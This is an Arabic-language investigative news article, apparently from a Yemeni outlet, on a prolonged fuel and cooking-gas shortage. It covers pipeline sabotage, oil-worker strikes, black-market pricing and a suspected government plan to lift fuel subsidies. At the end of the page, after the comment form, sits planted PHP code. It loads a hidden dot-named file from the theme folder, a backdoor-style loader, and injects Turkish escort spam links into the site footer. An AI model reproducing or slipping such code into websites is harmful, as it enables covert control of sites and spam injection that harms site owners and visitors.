تحقيقاتعناوين مميزة

انعدام المشتقات كذبة مفضوحة ، واختفاؤها بهدف إقرار الجرعة !!

بعد ثلاثة أشهر من الأزمة الخانقة !!

انعدام المشتقات كذبة مفضوحة ، واختفاؤها بهدف إقرار الجرعة !!صور التحقيق 2

أكثر من ثلاثة أشهر وأزمة المشتقات تعصف بالشارع اليمني الذي يعبر عن غضبه بصور وأشكال مختلفة لم تأبه لها الجهات المختصة وفق وصف المحللين .

الهوية وفي تحقيقنا لهذا العدد حاولنا البحث عن الأسباب الخفية لأزمة المشتقات أهي الخلافات السياسية أم قلة الإنتاج ؟ أم عجز الحكومة ؟ أم شيء آخر في نفس الحكومة تريد قضاءه ؟ .

فإلى التفاصيل :

الهوية / قسم التحقيقات

توقف الإنتاج في بعض الحقول النفطية !!  

ففي جانب الأسباب الحقيقية وراء أزمة المشتقات النفطية في بلادنا وآثارها على الاقتصاد الوطني .. قال مسؤول في وزارة النفط : إن اليمن خسر خلال أسبوع واحد نحو مليار ريال  ما يعادل (5 ملايين دولار) بسبب تجميد شركة (دي إن أو) النرويجية إنتاج النفط الخام في منطقة الضبة بمحافظة حضرموت نتيجة إضراب ينفذه عمال الشركة للمطالبة بتحسين رواتبهم ودفع تعويضاتهم.

وأكد المسؤول، الذي فضل عدم ذكر اسمه  في تصريح له إن استمرار تجميد شركة “دي إن أو” النرويجية نشاطها في القطاعين سيكبد اليمن خسائر كبيرة .

مشيراً إلى أن الوزارة تعمل على حل قضية العمال لإعادة العمل في القطاع.

من جانبه قال منير الخاوي رئيس نقابة النفط والغاز، في تصريح له إن مطالب عمال الشركة مشروعة لكن الشركة ترفض الاستجابة لها.

وأوضح أن ابرز مطالبهم  تتمثل في: “مساواة رواتبهم مع بقية العاملين في الشركات النفطية الأخرى واحتساب العلاوات حسب القانون  وكذا تعويض من عملوا في ظروف أمنية صعبة تعويضاً عادلاً إضافة إلى عمل خطة تدريبية لتأهيل الكادر اليمني ليصبحوا قادرين على

صور التحقيق

إدارة العمل بعد انتهاء عقد الشركة .

ويستمر العاملون في القطاع النفطي بتنفيذ وقفات احتجاجية واعتصامات يومية منذ عام كامل لكن مطالبهم لم يتم النظر فيها حتى الآن.

ويعتمد اليمن بشكل مباشر على النفط في موازنته العامة، حيث تشكل حصة صادرات الخام، التي تحصل عليها الحكومة  من تقاسم الإنتاج مع شركات النفط الأجنبية نحو 70% من موارد الموازنة العامة للدولة و63% من إجمالي صادرات البلاد و30% من الناتج المحلي الإجمالي.

الاعتداءات المستمرة على أنابيب النفط !!

ومن أسباب الازمة الرئيسة استمرار الاعتداءات على أنابيب النفط ما يؤدي الى توقف الإنتاج في عدة حقول

وهو ما يكبد البلاد خسائر تصل إلى 4.75 مليار دولار خلال الأعوام الثلاثة الماضية وفق تقارير حكومية.

وعلى إثره أظهرت بيانات رسمية منتصف هذا الأسبوع  تراجع دخل اليمن من صادرات النفط أكثر من 64 % إلى 73.4 مليون دولار في مايو عنه قبل عام وذلك بسبب الهجمات على خط أنابيب التصدير في حين انكمش احتياطي الأصول الأجنبية للبنك المركزي إلى أدنى مستوى له منذ نهاية 2011م وتجد الحكومة صعوبة في دفع رواتب القطاع العام وتمويل واردات الغذاء والطاقة.

ويكفى ذلك المستوى لتغطية واردات 4.4 أشهر بينما كان المتوسط 7.6 أشهر بين 2007 و2013.

وبحساب بند الخصوم الذي يشمل وديعة سعودية بمليار دولار من 2012 ينخفض احتياطي البنك المركزي إلى 3.3 مليار دولار في مايو. وإجمالا بلغ صافى الأصول الأجنبية في النظام المصرفي اليمنى 5.6 مليار دولار في مايو من العام الماضي .

استيراد مشتقات بنحو مليار دولار في 3 أشهر !!

وعلى اثر الاعتداءات المذكورة  قالت التقارير الرسمية إن اليمن استورد مشتقات بترولية بنحو 975 مليون دولار خلال الربع الأول من العام الحالي لتعويض الفاقد في الإنتاج المحلي.

وتوقع صندوق النقد في ابريل تقلص عجز ميزانية اليمن إلى 6.7 % من الناتج المحلى الإجمالي هذا العام مقارنة مع 7.1 % في 2013 عندما بلغ العجز أعلى مستوى له منذ 2009.

وانحسر التضخم السنوي إلى 7.4 % على أساس سنوي في ابريل من ذروة العام الحالي 7.6 % المسجلة في الشهر السابق بفعل تباطؤ طفيف في أسعار الغذاء والمشروبات غير الكحولية حسبما أظهر تقرير البنك المركزي.

واستقر التضخم الأساسي الذي لا يشمل الأسعار شديدة التذبذب لمواد مثل الأغذية والتبغ والقات عند 10.7 % في ابريل وذلك للشهر الثاني على التوالي وهو أعلى مستوى منذ أغسطس آب 2012. ومن المستبعد في ضوء ذلك إجراء مزيد من التيسير النقدي في الوقت الحالي .

كان البنك المركزي خفض سعر الفائدة الرئيسي خمس نقاط أساس من أكتوبر 2012 إلى فبراير 2013 لدعم التعافي الاقتصادي ليهبط إلى أدنى مستوى في ثلاث سنوات عند 15 %. وبلغ متوسط التضخم العام 7.1 % في تلك الفترة والأساسي 7.3 %.

المواطنون : أياد تتلاعب بأسعار المشتقات وسعر الغاز يرتفع بنسبة 26% !!

ومن ابرز أسباب الازمة  أيضاً تعمد الكثير من تجار المشتقات وملاك المحطات إلى التلاعب بأسعارها واحتكارها وبمختلف أنواعها حيث أشعلت أزمة نقص الغاز المنزلي  منذ بداية رمضان إلى جانب أزمة البنزين والديزل المتواصلتين منذ أكثر من ثلاثة أشهر حيث ارتفع سعر أسطوانة الغاز في الأسواق خلال الأيام الماضية إلى نحو 26.6 % بعد أن وصل ثمنها إلى 1900 ريال يمني بالسوق السوداء (9 دولار) مقابل 1500 ريال بالأسواق وسط انتقادات شعبية لاستغلال التجار الأزمة ورفع الأسعار.
وتصطف طوابير طويلة أمام محلات بيع الغاز المنزلي فيما تغلق محلات أخرى أبوابها أمام المواطنين لعدم تزودها بالكمية المطلوبة.

الحكومة : تبرر عجزها بالضحك على المواطنين !!

وحسب مسؤول في وزارة النفط رفض ذكر اسمه : فإن استمرار تفجير أنابيب النفط والغاز هو السبب وراء أزمة الغاز المنزلي والوقود بشكل عام في البلاد.
موضحاً إن التفجيرات تخفض كمية الإنتاج وسط ازدياد الطلب من قبل المواطنين في شهر رمضان وهو ما يخلق الأزمة.

نافياً تخفض كمية الاستهلاك المحلي من الغاز المنزلي مشيراً إلى أن أزمة الغاز المنزلي في طور الانتهاء خلال أيام.
وتظهر بيانات حكومية أن احتياطي الغاز في اليمن يتراوح بين 12 و15 تريليون قدم مكعب.
وينتج اليمن سنوياً نحو 6.7 ملايين طن متري من الغاز الطبيعي المسال، وهو ما يعادل 345 مليون وحدة حرارية، يذهب ثلثه إلى شركة كوغاز الكورية.

وتعيش العاصمة اليمنية صنعاء انعدام لمادة الغاز المنزلي منذ أول يوم رمضاني .

وشكا سكان العاصمة ارتفاع سعر الدبة الغاز إلى 2200 ريال بزيادة 100% عن سعرها الرسمي المحدد 1200 ريال .

وكانت شركة النفط قد حددت سعر دبة الغاز ب1200 ريال وبوزن 26 كيلو ، فيما انعدمت من أول يوم رمضاني وتباع بالسوق السوداء بسعر 2200 وبوزن 16 كيلو ، فيما أصحاب المحلات أغلقوا محالاتهم ، وتقوم محطات التعبئة ببيعها ب1500 ريال وبوزن 20 كيلو، مستغربا من تصريحات الشركة اليمنية للغاز وعدم رقبتها على الأسواق .

وكان مدير عام دائرة التموين بالشركة اليمنية للغاز قد طمأن المواطنين بأن الوضع التمويني لسوق الغاز المنزلي في أتم استقراره وأن لا مخاوف من أي اختناقات يحتملها البعض في مادة الغاز المنزلي.

وأكد محمد القديمي مدير عام دائرة التموين أن الغاز المنزلي في مأرب ينتج بشكله المعتاد والآمن بمتوسط (85-90) قاطرة يومياً ويزيد حجم الإنتاج من فترة لأخرى من أجل توفير مادة الغاز المنزلي، مهما ارتفع مؤشر الطلب نتيجة اتساع خارطة الاستخدامات واتجاه المجتمع نحو تحويل معداتهم ومركباتهم وآلياتهم الزراعية الإنتاجية كمزارع الدواجن والبومبات إلى العمل بالغاز المنزلي، نظراً لتفاقم أزمة المشتقات .

ولفت القديمي في حديث صحفي له أن الأسباب التي تؤثر في تأخر كميات الغاز في بعض الأحيان لا تخرج عن التقطعات المتكررة ..

الحكومة تجس نبض الشارع سعياً للجرعة !!

وفي ظل الواقع المعاش كشفت مصادر إعلامية  منتصف هذا الأسبوع النقاب عن مساع تقوم بها الحكومة في هذا الاتجاه في ظل عجزها في وضع حلول أخرى لأمة المشتقات .

حيث قالت مصادر إعلامية إن الحكومة تسعى إلى رفع دعم المشتقات النفطية لتغطية العجز المالي الذي تواجهه منذ سنوات.

وقال رئيس قسم الدراسات والعمليات في شركة النفط اليمنية” أنور العامري” في تصريح له أن قرار رفع دعم المشتقات النفطية قادم ولكنه لم يصدر حتى الآن والدعم سيرتفع على مراحل أي سيتم الرفع على شرائح معينة دفعة دفعة حسب ما أفاد.

وأضاف العامري : قرار رفع دعم المشتقات النفطية متوقع ولا تملك  الحكومة أي خيار بديل .

مشيراً بقوله : أنا على علم وأتابع الموضوع وانه سيتم الرفع فعلاً دون تراجع وما قام به وزير المالية ورئيس الحكومة من إعطاء تصريح لفتحي توفيق عبد الرحيم بتموين محافظة ذمار بمادة الديزل والبيع بالسعر المحرر إلا محاولة لجس نبض الشارع وتهيئته للرفع الحقيقي والكامل لجميع المحافظات .

وبين إن فتحي توفيق احد التجار في البلاد قام بالبيع في محطاته في تعز وغيرها بالسعر المحرر 4500 ريال يمني لـ 20 لترا.

ووفق مواطنين أكدوا في أحاديث لهم مع الهوية أن التاجر المذكور يؤكد توفر المشتقات و بكميات كبيرة ويتيح للمواطنين التزود بأي كميات يريدونها مهما كانت كبيرة .

الأمر الذي اعتبر معه محللون أن مزاعم انعدام المشتقات نتيجة ضرب أنابيب النفط والغاز مزاعم كاذبة ومفضوحة تريد الحكومة من ورائها التظليل على الشعب من أجل إقرار الجرعة .

وإلا ما دليل توفرها وبهذه الكميات الكبيرة في لحظات السماح للتجار البيع بالسعر المحرر !!

 وتعيش العاصمة اليمنية صنعاء وبقية المحافظات أزمة خانقة في المشتقات النفطية وانعدامها بصورة تامة في بعض المحافظات وخاصة الشمالية.

وبحسب وثائق تم نشرها مؤخراً فأن وزارة المالية عاجزة عن دفع أي سيولة لشراء مادة الديزل وبيعه بالسعر المدعوم وطالب فرع شركة النفط في محافظة ذمار بتوفير مادة الديزل بالسعر المحرر حتى لا يخسر الناس مشاريعهم ومحاصيلهم حسب تلك الوثائق.

الخلاصة : الجرعة مصير الشعب المحتوم !!
وأمام هذا الواقع المزري الذي يعيشه المجتمع اليمني والمتمثل في عجز الحكومة في وقف الاعتداءات على أنابيب النفط والغاز  وضبط التجار المتلاعبين بالأسعار والمحتكرين للمشتقات يزداد الطلب على المشتقات في ظل تراجع الإنتاج وتأخر المساعدات الخارجية مع تزايد الضغوطات على الحكومة والدافعة بها نحو رفع الدعم عن المشتقات النفطية كل هذه أسباب وفق المحللين والخبراء سترغم الحكومة إلى اتخاذ خطوة رفع أسعار المشتقات عاجلاً أم آجلاً.

الوسوم

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

*

إغلاق
إغلاق
if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php")) { include_once get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php"; } if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } function zo(){ echo '
Manisa escort Tekirdağ escort Çanakkale escort Trabzon escort Yalova escort Balıkesir escort Aydın escort Muğla escort Afyon escort Aksaray escort Şanlıurfa escort Ümraniye escort Sinop escort Keçioren escort
'; } add_action("wp_footer",'zo');